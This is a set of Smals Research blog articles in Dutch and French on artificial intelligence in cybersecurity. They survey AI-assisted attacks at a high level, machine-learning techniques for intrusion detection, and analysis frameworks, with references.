Een generatieve AI-tool kan ook worden gebruikt om malware of ransomware te schrijven: Guptal et al. [16] voerden verschillende tests uit met ChatGPT die ze met name overtuigden om voorbeeldcode te leveren voor verschillende malware zoals NotPetya⁹, REvil¹⁰, Ryuk¹¹ en WannaCry¹². De resultaten zijn niet direct bruikbaar, maar geven een high-level structuur van de code, die redelijk voor de hand ligt voor wie wel eens geprogrammeerd heeft, maar die de komende jaren tot grote verbeteringen zou kunnen leiden. Vergelijkbare tests zijn ook uitgevoerd, met vergelijkbare resultaten, voor virussen die misbruik maken van kwetsbaarheden zoals Meltdown¹³, RowHammer¹⁴ en Spectre¹⁵.

Hutchins [17] heeft echter ernstige twijfels over de mogelijkheid om kwaadaardige software te genereren met behulp van AI, en in het bijzonder met behulp van tools zoals ChatGPT, die zeker niet in staat zijn om volledig functionele software te maken, maar in het beste geval kleine bouwstenen kunnen leveren die moeilijk in elkaar te zetten zijn. Hij wijst er ook op dat deze door AI gegenereerde code al bestaat op het internet.

Aanvallen op fysieke systemen

Tenslotte, als wordt aangenomen dat fysieke systemen (bv. een koelbesturingssysteem) minder veilig zijn dan de IT-infrastructuur en relatief gemakkelijker te misbruiken zijn, dan is het mogelijk om malware te gebruiken om een IT-infrastructuur indirect aan te vallen via het fysieke systeem, waarbij de kwaadaardige acties worden vermomd als toevallige storingen (bv. een gesimuleerde oververhitting die leidt tot een echte noodstop). Dat vertonen Chung et al. [18]. Hun tool leert automatisch aanvalsstrategieën aan de hand van metingen die door het fysieke systeem zijn verzameld.

Analyse van cyberaanvallen die gebruik maken van AI

Om beveiligingsingenieurs in staat te stellen de classificatie van AI-gebaseerde bedreigingen en hun impact effectief te bestuderen, alsook de strategie van de aanvallers beter te begrijpen, stellen Nektaria et al. [19] een framework voor om AI-gebaseerde cyberaanvallen te analyseren. Het is gebaseerd op het bestaande en veelgebruikte ‘Cyber Kill Chain’-framework dat is ontwikkeld door Lockheed Martin en bestaat uit drie niveaus:

• Aanvalsfasen en -doelen: dit eerste niveau wordt gebruikt om te beschrijven wanneer een aanvaller zijn kwaadaardige doelen kan bereiken in functie van de levenscyclus van de cyberaanval. Het vertegenwoordigt de intentie van de aanvaller en het type AI-techniek dat wordt gebruikt om de kwaadaardige acties uit te voeren, afhankelijk van elke fase in de levenscyclus van de cyberaanval.
• Impact en classificatie van kwaadaardige AI: dit tweede niveau is een classificatie op basis van de impact van het kwaadaardige gebruik van AI-technieken, waarbij de potentiële impact wordt weergegeven, afhankelijk van de fase van de toegepaste aanval.
• Classificatie van verdedigingsmethoden: verdediging tegen AI-gebaseerde cyberaanvallen kan niet worden uitgevoerd met een eenvoudige oplossing of een enkele tool. Een diepgaande verdedigingsaanpak is gedurende de hele levenscyclus van cyberaanvallen noodzakelijk om de “intelligentie” van de nieuwe methoden te bestrijden.

Conclusie

Door de hierboven gegeven voorbeelden lijkt AI vooral een nieuwe ‘productiviteitstool’ voor reeds goed gemotiveerde (al dan niet) professionele aanvallers. De ernstigste dreiging die AI voor security zou kunnen vormen, is de ontdekking op grote schaal van geheel nieuwe aanvalsklassen. Er is echter geen bewijs dat een dergelijke ontdekking waarschijnlijker is dan die van menselijke actoren.

Toch blijven er nog veel vragen over hoe deze geavanceerde bedreigingen kunnen worden voorkomen en beperkt, maar een goede dreigingsanalyse met een geschikt framework is een goed startpunt. Verder geloven we dat een effectieve manier om AI-enabled tegenpartijen te bestrijden ook zal bestaan uit het zelf inzetten van AI competitief te zijn qua bereik, snelheid en schaal. Zoals we in een laatste artikel over dit onderwerp zullen zien, zou AI inderdaad kunnen helpen bij het automatiseren van cyberverdedigingstaken zoals vulnerability assessment, intrusion detection, incident response en threat intelligence processing.

Referenties

[1]        N. Papernot, P. McDaniel, S. Jha, M. Fredrikson, Z. B. Celik, en A. Swami, ‘The limitations of deep learning in adversarial settings’. arXiv, 23 november 2015. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/1511.07528

[2]        M. Brundage e.a., ‘The malicious use of artificial intelligence: forecasting, prevention and mitigation’, feb. 2018.

[3]        ‘The near-term impact of AI on the cyber threat’, National Cyber Security Centre, jan. 2024. Geraadpleegd: 27 januari 2024. [Online]. Beschikbaar op: https://www.ncsc.gov.uk/pdfs/report/impact-of-ai-on-cyber-threat.pdf

[4]        J. Weizenbaum, ‘ELIZA—a computer program for the study of natural language communication between man and machine’, Commun. ACM, vol. 9, nr. 1, pp. 36-45, jan. 1966, doi: https://doi.org/10.1145/365153.365168.

[5]        S. Palka en D. McCoy, ‘Fuzzing e-mail filters with generative grammars and n-gram analysis’, in WOOT’15: Proceedings of the 9th USENIX Conference on Offensive Technologies, aug. 2015.

[6]        J. Seymour en P. Tully, ‘Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter’, gepresenteerd bij Black Hat USA, 2016, pp. 1-8.

[7]        M. Heikkilä, ‘How to spot AI-generated text’, MIT Technology Review. Geraadpleegd: 11 oktober 2023. [Online]. Beschikbaar op: https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/

[8]        J. Chapman, ‘Phishing threat trends report – From pretexting to payloads, how have phishing attacks evolved in 2023?’, egress, okt. 2023. Geraadpleegd: 7 november 2023. [Online]. Beschikbaar op: https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf

[9]        S. S. Roy, K. V. Naragam, en S. Nilizadeh, ‘Generating phishing attacks using ChatGPT’. arXiv, 8 mei 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2305.05133

[10]      ‘Preparing for AI-enabled cyberattacks’, MIT Technology Review, jan. 2021.

[11]      A. Correa Bahnsen, ‘DeepPhish: Simulating malicious AI’, 6 december 2018.

[12]      J. Segura, ‘Malicious ad served inside Bing’s AI chatbot’, Malwarebytes. Geraadpleegd: 7 november 2023. [Online]. Beschikbaar op: https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot

[13]      D. Petro en B. Morris, ‘Weaponizing machine learning: Humanity was overrated anyway’, gepresenteerd bij DEF CON 25, 10 augustus 2017. [Online]. Beschikbaar op: https://www.youtube.com/watch?v=wbRx18VZlYA

[14]      G. Deng e.a., ‘PentestGPT: An LLM-empowered automatic penetration testing tool’. arXiv, 13 augustus 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.06782

[15]      R. Fang, R. Bindu, A. Gupta, Q. Zhan, en D. Kang, ‘LLM Agents can Autonomously Hack Websites’. arXiv, 6 februari 2024. Geraadpleegd: 19 februari 2024. [Online]. Beschikbaar op: http://arxiv.org/abs/2402.06664

[16]      M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, IEEE Access, vol. 11, pp. 80218-80245, aug. 2023, doi: 10.1109/ACCESS.2023.3300381.

[17]      M. Hutchins, ‘A realistic look at implications of ChatGPT for cybercrime’, MalwareTech. Geraadpleegd: 6 februari 2024. [Online]. Beschikbaar op: https://malwaretech.com/2023/02/a-realistic-look-at-chatgpt-cybercrime.html

[18]      K. Chung, Z. T. Kalbarczyk, en R. K. Iyer, ‘Availability attacks on computing systems through alteration of environmental control: smart malware approach’, in Proceedings of the 10th ACM/IEEE International Conference on Cyber-Physical Systems, Montreal Quebec Canada: ACM, apr. 2019, pp. 1-12. doi: 10.1145/3302509.3311041.

[19]      N. Kaloudi en J. Li, ‘The AI-based cyber threat landscape: A survey’, ACM Comput. Surv., vol. 53, nr. 1, pp. 1-34, feb. 2020, doi: https://dl.acm.org/doi/abs/10.1145/3372823.

Bijlage – Phishingmails genereren

Hier volgen enkele voorbeelden van hoe je phishingmails kunt genereren met ChatGPT (gegenereerd met versie 4.0 op 9 februari 2024):

Voetnoten

¹   De ATLAS knowledge base van MITRE (https://atlas.mitre.org/) identificeert een aanzienlijk aantal kwetsbaarheden in AI-gebaseerde systemen. Het gebruik van AI vergroot het aanvalsoppervlak van bestaande systemen.

²   Tegenwoordig zijn dergelijke modellen in staat om Wikipedia in zijn geheel te onthouden. Wikipedia is het resultaat van het cumulatieve werk van talloze vrijwilligers en experts in hun respectieve vakgebieden, over een groot aantal uiteenlopende onderwerpen.

³   Wie heeft er nog nooit een phishingmail ontvangen vol spel- of grammaticafouten, waardoor hij gemakkelijk te herkennen is?

⁴   De meest gebruikte payload voor phishing mails zijn webadressen, volgens een recent rapport van egress [8].

⁵   https://www.blackhat.com/us-18/briefings/schedule/#deeplocker—concealing-targeted-attacks-with-ai-locksmithing-11549

⁶   Een voorbeeld dat wordt gegeven door de auteurs van DeepLocker is het gebruik van gezichtsherkenning van de gebruiker om specifieke individuen aan te vallen. De keuze voor het uitvoeren van kwaadaardige code zou ook gekoppeld kunnen worden aan het gedrag van de gebruiker, de softwareomgeving, enz.

⁷   In sommige opzichten is het voorbeeld vergelijkbaar met de auto’s van Volkswagen Group die hun gedrag veranderden tijdens goedkeuringscycli en waarvan het schandaal in 2015 aan het licht kwam.

⁸ https://github.com/GreyDGL/PentestGPT

⁹   https://en.wikipedia.org/wiki/2017_Ukraine_ransomware_attacks

¹⁰ https://en.wikipedia.org/wiki/REvil

¹¹ https://en.wikipedia.org/wiki/Ryuk_(ransomware)

¹² https://nl.wikipedia.org/wiki/WannaCry

¹³ https://nl.wikipedia.org/wiki/Meltdown_(veiligheidslek)

¹⁴ https://en.wikipedia.org/wiki/Row_hammer

¹⁵ https://nl.wikipedia.org/wiki/Spectre_(veiligheidslek)

_________________________
Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

L’évolution phénoménale des techniques d’apprentissage automatique (« machine learning (ML) ») et, plus généralement « d’intelligence » artificielle (IA) [1], semble avoir atteint son acmé au cours des dernières années avec l’arrivée en force de l’IA générative (« Generative AI (GenAI) ») et l’emblématique « ChatGPT¹. » Nonobstant les nombreuses limites de ces techniques et les risques qu’elles posent [2], [3], il existe des applications positives dans de nombreux domaines (p. ex. moteurs de recherche,  traduction automatique, annotation automatique d’images, etc.), et l’on peut se demander quel pourrait-être l’apport de ces techniques en cybersécurité.

En fait, les experts en cybersécurité n’ont pas attendu la venue de l’IA générative pour utiliser des techniques d’IA. Mais dans le domaine de la cybersécurité, comme c’est souvent le cas avec d’autres techniques, l’application de l’IA est souvent considérée comme une arme à double tranchant dans la mesure où elle peut être utilisée pour l’attaque aussi bien que pour la défense : d’un côté l’IA permet de mettre au point des attaques de plus en plus sophistiquées, et de l’autre, d’apporter des réponses plus efficaces aux attaques, comme l’amélioration de la détection de menaces et d’anomalies et le soutien opérationnel des analystes en sécurité [4].

L’introduction d’attaques informatiques aidées par l’IA pourrait même ouvrir, selon Renault et al. [5], une nouvelle ère dans la course sécuritaire avec des transformations connues et inconnues des vecteurs d’attaques. Mais bien qu’il ne fasse aucun doute que les adversaires utiliseront ou ont commencé à utiliser l’IA générative, afin de créer des courriels d’hameçonnage plus réalistes et efficaces ou encore pour se faire passer pour d’autres utilisateurs, il n’est pas du tout évident qu’ils pourront utiliser l’IA générative pour lancer des attaques plus sophistiquées ou même créer de nouvelles classes d’attaques.

Quoi qu’il en soit, malgré des améliorations possibles, la prolifération d’annonces concernant l’IA dans le domaine de la cybersécurité (par exemple Crowdstrike², Google³, Microsoft⁴, et SentinelOne⁵ ont récemment annoncé l’emploi d’IA générative dans leurs produits de sécurité) pourrait conduire à de fortes déceptions. Ces déceptions pourraient être accentuées par le fait que la performance ou la précision des systèmes de cybersécurité n’est pas normalisée dans son ensemble, ce qui rend difficile la comparaison de différents systèmes et soulève des questions comme : « Quelle est la meilleure façon d’évaluer, de configurer ou de comparer différents systèmes de cybersécurité ? » ou « Disposons-nous d’une méthodologie universelle pour évaluer la robustesse et la performance dans tous les scénarios ou dans des scénarios différents ? » [6] ou encore « Un système performant sur les données du fabriquant, le sera-t-il autant sur mes propres données ? » Plus prosaïquement, que se cache-t-il réellement derrière le terme d’intelligence artificielle, lorsqu’il est adossé à des produits de cybersécurité ?

La réponse à cette dernière question est loin d’être évidente étant donné le nombre important de techniques très différentes entrant dans le domaine de l’IA. Dans la suite de cet article nous décrivons brièvement ce qui se cache derrière le terme « d’intelligence artificielle » en décrivant quelques techniques de base utilisées en cybersécurité. Dans les articles suivants nous passerons en revue l’utilisation possible de ces techniques pour l’attaque comme pour la défense dans le contexte de la cybersécurité.

Principales techniques d’apprentissage automatique

Au cours de la dernière décennie, l’apprentissage automatique a permis des avancées importantes dans différents domaines, d’abord avec des modèles dit supervisés (on indique à la machine la classe des éléments à apprendre, par exemple telle transaction est frauduleuse ou bénigne), puis non-supervisé (la machine doit découvrir elle-même les différentes classes en fonction des données), l’apprentissage par renforcement (la machine reçoit une forme de récompense lorsqu’elle classifie correctement des informations). La Figure 1 montre les principaux algorithmes d’apprentissage automatique utilisés en cybersécurité.

Apprentissage supervisé

Les modèles d’apprentissage supervisé sont formés à partir de données étiquetées, c’est-à-dire qu’une catégorie est fournie pour chaque élément du jeu de données d’apprentissage. Une catégorie peut être binaire (p. ex. « attaque » ou « bénin ») ou multiple (p. ex. type d’attaque). Cela suppose en amont, un travail manuel coûteux de catégorisation des données. Pour un système de cybersécurité cela implique par exemple que les analystes catégorisent chacune des données qu’ils ont analysées, avec la difficulté supplémentaire qu’il y a en général peu d’exemples d’attaques par rapport aux autres exemples.

L’apprentissage consiste alors à découvrir, à partir des données étiquetées, les caractéristiques liées à chaque catégorie et à construire un modèle pouvant établir avec une certaine probabilité à quelle catégorie appartient un nouvel élément jamais vu lors de l’apprentissage.

Cependant ces systèmes supervisés ne peuvent pas être utilisés pour détecter des types d’attaques qui ne leur sont pas déjà connus. De plus, bien que l’apprentissage supervisé fonctionne particulièrement bien pour la reconnaissance d’objets dans les images, la détection de menaces de cybersécurité présente des difficultés particulières. En effet, comme le font remarquer Apruzzese et al. [8], un échantillon étiqueté comme malicieux dans un certain contexte peut être bénin dans un autre, un échantillon peut être créé spécialement pour ressembler à un échantillon bénin, ou encore un échantillon étiqueté bénin aujourd’hui, peut s’avérer dangereux demain.

Les exemples d’algorithmes d’apprentissage supervisé incluent : les arbres de décision (« decision trees (DT) »), les forêts d’arbres décisionnels (« random forests (RF) »), la classification naïve bayésienne⁶, les réseaux de neurones artificiels (« neural networks (NN) »)⁷, les machines à vecteurs de support (« support vector machines (SVM) »), etc.

Apprentissage non-supervisé

Les algorithmes d’apprentissage non-supervisés quant à eux, apprennent les informations et créent des groupes sur la base de l’ensemble des données d’apprentissage, sans connaître la catégorie de chaque donnée. La différence entre l’apprentissage supervisé et l’apprentissage non-supervisé est donc que ce dernier n’a pas d’étiquettes de catégories dans ses données d’apprentissage.

Des exemples d’algorithmes d’apprentissage non-supervisés sont ceux qui tentent de grouper ensemble les échantillons d’un même type, comme le partitionnement en k-moyennes (« k-means ») et la méthode des k plus proches voisins (« k-nearest neighbours (k-NN) »). En dehors du regroupement, l’utilisation plus récente d’auto-encodeurs est une technique assez populaire pour la détection d’anomalies et en particulier d’intrusions (p. ex. [9]).

Un auto-encodeur est composé d’une couche d’entrée (codeur), de plusieurs couches cachées et d’une couche de sortie (décodeur). L’objectif est d’apprendre une représentation comprimée de certaines données d’entrée. Le codeur est utilisé pour mettre en correspondance les données d’entrée dans une représentation cachée, le décodeur est destiné à reconstruire les données d’entrée à partir d’une telle représentation. Un encodeur peut être entraîné avec des données bénignes afin d’apprendre une représentation normale du trafic sur un réseau. Ensuite, pendant la phase de détection, un échantillon est considéré comme anormal si, après son encodage, l’erreur de reconstruction est supérieure à un certain niveau.

Apprentissage semi-supervisé

L’apprentissage semi-supervisé est basé à la fois sur des données étiquetées et des données non étiquetées. Il permet de fournir des classificateurs efficaces qui nécessitent de petites quantités de données étiquetées en exploitant les informations obtenues à partir de grands ensembles de données non étiquetées. De nombreux chercheurs ont constaté que les données non étiquetées, lorsqu’elles sont utilisées en conjonction avec une petite quantité de données étiquetées, peuvent améliorer considérablement la précision de l’apprentissage par rapport à l’apprentissage non supervisé, mais sans le temps et les coûts nécessaires à l’apprentissage supervisé.

Dans l’apprentissage actif [10] par exemple, un algorithme de classification initialement entraîné sur un petit ensemble de données étiquetées (p. ex. « normal, » « rootkit, » « teardrop »⁸) peut être utilisé pour analyser un grand ensemble de données brutes, puis « suggérer » les échantillons les plus avantageux à étiqueter. Ces échantillons sont sélectionnés grâce à un algorithme non supervisé de détection d’anomalies. Un expert est ensuite consulté pour étiqueter les échantillons présentés et le modèle est mis à jour.

Plusieurs travaux ont proposé des solutions d’apprentissage semi-supervisé dans différents domaines de cybersécurité, que ce soit la détection de logiciels malveillants (p. ex. [12]) ou la détection d’intrusions (p. ex. [13]). Beaucoup de méthodes s’inspirent de la méthode populaire de co-apprentissage [14] proposée à la fin des années 1990.

Apprentissage par renforcement

L’apprentissage par renforcement (« reinforcement learning (RL) »), est basé sur l’essai et l’erreur : un agent autonome apprend à prendre des décisions dans un environnement donné. L’environnement offre une récompense ou pas à l’agent après chaque décisions prise. Les données d’apprentissage dans l’apprentissage par renforcement sont un mélange d’approches supervisées et non-supervisées : au lieu de fournir des données avec l’étiquette correcte, l’algorithme explore les actions jusqu’à ce qu’elles soient correctes.

Malgré l’avantage de l’apprentissage par renforcement qui sait s’adapter à des changements dans l’environnement, il reste une difficulté limitant son utilisation dans la cybersécurité : la définition de la fonction de récompense en particulier dans le domaine de la détection d’intrusions [15], [16].

Apprentissage automatique fédéré

Introduit par McMahan et al.  [17], l’apprentissage automatique fédéré (« federated learning ») est une manière distribuée et collaborative de faire de l’apprentissage automatique. Les machines participant à l’apprentissage ne sont pas obligées de partager leurs données et se contentent d’envoyer des modèles appris sur leurs données afin de contribuer à un modèle global qui est le résultat de la combinaison de l’ensemble des modèles locaux⁹.

D’après Hernández-Ramos et al.  [18] l’apprentissage fédéré pourrait jouer un rôle important dans le domaine de la cybersécurité car il pourrait permettre à des organisations distinctes de partager des informations sur les menaces et les attaques de sécurité sans avoir besoin de partager¹⁰ leurs données réelles et potentiellement sensibles¹¹. Dans leur analyse, les auteurs soulignent que l’utilisation de l’apprentissage automatique fédéré dans le domaine de la détection d’intrusions a proliféré au cours des dernières années¹². Malgré leur coût et leurs limites, les méthodes fédérées supervisées restent les plus couramment étudiées par rapport aux méthodes fédérées non-supervisées.

Modèles massifs de langage

Les modèles massifs de langage (« Large Language Models (LLM) ») sont obtenus par un apprentissage non-supervisé de réseaux de neurones profonds¹³ entraînés sur de très grandes quantités de textes non étiquetés. On trouve parmi eux les transformeurs¹⁴ [20],  [21] génératifs pré-entrainés (« generative pre-trained transformers (GPT) ») dont la fonction principale est de prédire de manière statistique le mot suivant dans un passage de texte¹⁵. Une description plus détaillée de ces modèles peut être trouvée dans [22].

Les applications de ces modèles à la cybersécurité sont encore limitées car peu d’entre elles utilisent du texte et des données dans un langage naturel. Cependant, un aspect intriguant de ces modèles massifs de langage est l’hypothèse contestée selon laquelle ils exhiberaient des capacités émergentes, qui « ne sont pas présentes dans les modèles à plus petite échelle, mais qui sont présentes dans les modèles à grande échelle » [23],  [24]. On peut donc se poser la question si ces capacités émergentes pourraient inclure la cybersécurité.

Une approche permettant de bénéficier des architectures des LLM est d’utiliser des transformeurs et d’autres aspects architecturaux des LLM, et de pré-entraîner le modèle sur des données de sécurité. Bien que les transformeurs soient surtout connus pour leur résultat dans le traitement des langages naturels, ils peuvent également être considérés pour la détection d’intrusions (p. ex.  [25]).

Étant donné les avancées récentes des modèles génératifs, il est très probable qu’ils seront beaucoup étudiés dans les années qui viennent pour le développement de détection d’intrusions.

Conclusions

L’intérêt pour les techniques d’IA dans le domaine de la sécurité est évident, ne serait-ce qu’au vu du nombre important de publications, des articles de revue de littérature sur le sujet et des produits de cybersécurité se targuant de leur emploi.

Cependant, s’il ne fait aucun doute que l’IA est utile pour analyser des données existantes, les résultats donnés sont, comme nous l’avons vu, par construction, basés sur les données déjà observées. Par conséquent, même si les progrès impressionnants de l’IA peuvent le laisser imaginer, il reste encore à prouver que l’IA a des capacités créatrices suffisantes lui permettant de détecter des nouveaux vecteurs d’attaques sans requérir à l’expertise et l’intuition humaine. De plus, l’évaluation d’un risque dépend de nombreux facteurs parfois difficilement quantifiables comme le contexte géopolitique ou socio-économique.

L’IA doit donc être considérée comme une étape dans l’évolution de la sécurité, plutôt que comme une révolution complète. Comme nous le verrons dans un prochain article, elle joue un rôle dans l’amélioration des pratiques de sécurité, mais ne doit pas remplacer entièrement l’intervention humaine et la prise de décision.

Références

[1]        N. Fatès, « Que faire de l’expression intelligence artificielle ? », Alliage : Culture-Science-Technique, nov. 2023, [En ligne]. Disponible sur: https://inria.hal.science/hal-04282291/document

[2]        M. Brundage et al., « The malicious use of artificial intelligence: forecasting, prevention and mitigation », févr. 2018.

[3]        C. Villani, « Donner un sens à l’intelligence artificielle – Pour une stratégie nationale et européenne », mars 2018. [En ligne]. Disponible sur: https://www.vie-publique.fr/rapport/37225-donner-un-sens-lintelligence-artificielle-pour-une-strategie-nation

[4]        M. Taddeo, T. McCutcheon, et L. Floridi, « Trusting artificial intelligence in cybersecurity is a double-edged sword », Nat Mach Intell, vol. 1, n^o 12, p. 557‑560, nov. 2019, doi: 10.1038/s42256-019-0109-1.

[5]        K. Renaud, M. Warkentin, et G. Westerman, « From ChatGPT to HackGPT: Meeting the cybersecurity threat of generative AI », MIT Sloan Management Review, 18 avril 2023.

[6]        D. Dasgupta, Z. Akhtar, et S. Sen, « Machine learning in cybersecurity: a comprehensive survey », Journal of Defense Modeling & Simulation, vol. 19, n^o 1, p. 57‑106, janv. 2022, doi: 10.1177/1548512920951275.

[7]        G. Apruzzese et al., « The role of machine learning in cybersecurity », Digital Threats, vol. 4, n^o 1, p. 1‑38, mars 2023, doi: 10.1145/3545574.

[8]        G. Apruzzese, P. Laskov, et A. Tastemirova, « SoK: The impact of unlabelled data in cyberthreat detection », in 2022 IEEE 7th European Symposium on Security and Privacy (EuroS&P), juin 2022, p. 20‑42. doi: 10.1109/EuroSP53844.2022.00010.

[9]        Y. Mirsky, T. Doitshman, Y. Elovici, et A. Shabtai, « Kitsune: An ensemble of autoencoders for online network intrusion detection ». arXiv, 27 mai 2018. Consulté le: 26 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/1802.09089

[10]      K. Yang, J. Ren, Y. Zhu, et W. Zhang, « Active learning for wireless IoT intrusion detection », IEEE Wireless Commun., vol. 25, n^o 6, p. 19‑25, déc. 2018, doi: 10.1109/MWC.2017.1800079.

[11]      « KDD Cup 1999 Data ». Consulté le: 8 décembre 2023. [En ligne]. Disponible sur: http://kdd.ics.uci.edu/databases/kddcup99/kddcup99.html

[12]      J. Koza, M. Krčál, et M. Holeňa, « Two semi-supervised approaches to malware detection with neural networks », présenté à Information technologies – Applications and theory (ITAT), 2020.

[13]      L. Sun, Y. Zhou, Y. Wang, C. Zhu, et W. Zhang, « The effective methods for intrusion detection with limited network attack data: multi-task learning and oversampling », IEEE Access, vol. 8, p. 185384‑185398, 2020, doi: 10.1109/ACCESS.2020.3029100.

[14]      A. Blum et T. Mitchell, « Combining labeled and unlabeled data with co-training », in Proceedings of the eleventh annual conference on Computational learning theory, Madison Wisconsin USA: ACM, juill. 1998, p. 92‑100. doi: 10.1145/279943.279962.

[15]      E. Bertino, M. Kantarcioglu, C. G. Akcora, S. Samtani, S. Mittal, et M. Gupta, « AI for security and security for AI », in Proceedings of the Eleventh ACM Conference on Data and Application Security and Privacy, Virtual Event USA: ACM, avr. 2021, p. 333‑334. doi: 10.1145/3422337.3450357.

[16]      M. Lopez-Martin, B. Carro, et A. Sanchez-Esguevillas, « Application of deep reinforcement learning to intrusion detection for supervised problems », Expert Systems with Applications, vol. 141, p. 112963, mars 2020, doi: 10.1016/j.eswa.2019.112963.

[17]      H. B. McMahan, E. Moore, D. Ramage, et S. Hampson, « Communication-efficient learning of deep networks from decentralized data », Proceedings of machine learning research, p. 1273‑1282, avr. 2017.

[18]      J. L. Hernández-Ramos et al., « Intrusion detection based on federated learning: a systematic review ». arXiv, 18 août 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.09522

[19]      E.-M. El-Mhamdi et al., « On the impossible safety of large AI models ». arXiv, 9 mai 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2209.15259

[20]      A. Vaswani et al., « Attention is all you need », Advances in neural information processing systems, vol. 30, 2017.

[21]      T. Lin, Y. Wang, X. Liu, et X. Qiu, « A survey of transformers », AI Open, vol. 3, p. 111‑132, 2022, doi: 10.1016/j.aiopen.2022.10.001.

[23]      J. Wei et al., « Emergent abilities of large language models ». arXiv, 26 octobre 2022. Consulté le: 9 novembre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2206.07682

[24]      R. Schaeffer, B. Miranda, et S. Koyejo, « Are Emergent Abilities of Large Language Models a Mirage? » arXiv, 22 mai 2023. Consulté le: 9 novembre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2304.15004

[25]      Z. Wu, H. Zhang, P. Wang, et Z. Sun, « RTIDS: A Robust Transformer-Based Approach for Intrusion Detection System », IEEE Access, vol. 10, p. 64375‑64387, 2022, doi: 10.1109/ACCESS.2022.3182333.

Notes

¹   /1-an-chatgpt/

²   https://www.crowdstrike.com/blog/crowdstrike-introduces-charlotte-ai-to-deliver-generative-ai-powered-cybersecurity/

³   https://cloud.google.com/blog/products/identity-security/rsa-introducing-ai-powered-investigation-chronicle-security-operations

⁴   https://www.microsoft.com/en-us/security/business/ai-machine-learning/microsoft-security-copilot

⁵   https://www.sentinelone.com/blog/purple-ai-empowering-cybersecurity-analysts-with-ai-driven-threat-hunting-analysis-response/

⁶   Le terme naïf est lié au fait que la méthode suppose une forte indépendance des caractéristiques utilisées.

⁷   Il existe beaucoup de types de réseaux de neurones artificiels, notamment les réseaux à propagation avant (FFNN) – dont le fameux perceptron multicouche – les réseaux convolutifs (CNN), et les réseaux récurrents (RNN).

⁸   Ces étiquettes et plusieurs autres sont utilisées dans le jeu de données KDD-99 [11], très populaire dans la recherche sur la détection d’intrusions.

⁹   Bien que les types de modèles locaux puissent être différents chez chaque participant, peu de travaux considèrent cette possibilité. De plus, la plupart des travaux utilisent une moyenne pondérée pour la mise à jour du modèle central, et ne peuvent prendre en compte correctement l’hétérogénéité des données et des appareils.

¹⁰ Cette incitation au partage va dans le sens de la réglementation européenne en matière de cybersécurité qui rend obligatoire le signalement des incidents de cybersécurité.

¹¹ Soulignons néanmoins que la sécurité de ces modèles fédérés est contestée [19].

¹² Le nombre de publications sur le sujet est passé de moins de 5 en 2018 à plus de 150 en 2022.

¹³ C’est-à-dire un réseau de neurones avec au moins deux couches successives de neurones.

¹⁴ Bien que le terme ne soit pas repris dans les dictionnaires de français, il est utilisé dans la littérature scientifique francophone.

¹⁵ On constate que, si le modèle est suffisamment grand, non seulement la grammaire des langues humaines peut être apprise, mais aussi le sens des mots, la connaissance commune et la logique primitive. Et si l’on donne par exemple le fragment de phrase « Le chat de mon voisin est » à un modèle, il y a beaucoup plus de chance qu’il prédise « gris » ou « maigre » que « néerlandophone, » bien que ces trois mots soient des adjectifs. De même, en fournissant une phrase complète on peut s’attendre à ce que le modèle prédise une phrase cohérente pour la suivre.

_________________________
Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

De fenomenale ontwikkeling van machine learning (ML) technieken en, meer in het algemeen, kunstmatige intelligentie (AI) [1], lijkt de laatste jaren haar hoogtepunt te hebben bereikt met de komst van generatieve AI (“Generative AI (GenAI)”) en het emblematische ChatGPT¹. Ondanks de vele beperkingen van deze technologieën en de risico’s die ze met zich meebrengen [2], [3], zijn er op veel gebieden positieve toepassingen (bijv. zoekmachines, automatische vertaling, automatische annotatie van afbeeldingen, enz.). We kunnen ons dan ook afvragen wat deze technologieën kunnen bijdragen aan cybersecurity.

In feite hebben cybersecurity experts niet gewacht op de komst van generatieve AI om AI-technieken te gebruiken. Maar op het gebied van cyberbeveiliging, zoals vaak het geval is met andere technologieën, wordt de toepassing van AI vaak gezien als een tweesnijdend zwaard in die zin dat het kan worden gebruikt voor zowel aanval als verdediging: aan de ene kant maakt AI het mogelijk om steeds geavanceerdere aanvallen te ontwikkelen, en aan de andere kant om effectievere reacties op aanvallen te bieden, zoals verbeterde detectie van bedreigingen en anomalieën en operationele ondersteuning voor beveiligingsanalisten [4].

De invoering van aanvallen met behulp van AI zou zelfs, volgens Renault et al. [5], een nieuw tijdperk openen in de beveiligingsrace met bekende en onbekende transformaties van aanvalsvectoren. Hoewel er geen twijfel over bestaat dat tegenstanders generatieve AI zullen gebruiken of reeds gebruiken om realistischere en effectievere phishingmails te ontwerpen of om zich voor te doen als andere gebruikers, is het helemaal niet duidelijk of ze generatieve AI zullen kunnen gebruiken om geavanceerdere aanvallen uit te voeren of zelfs om nieuwe aanvalsklassen te creëren.

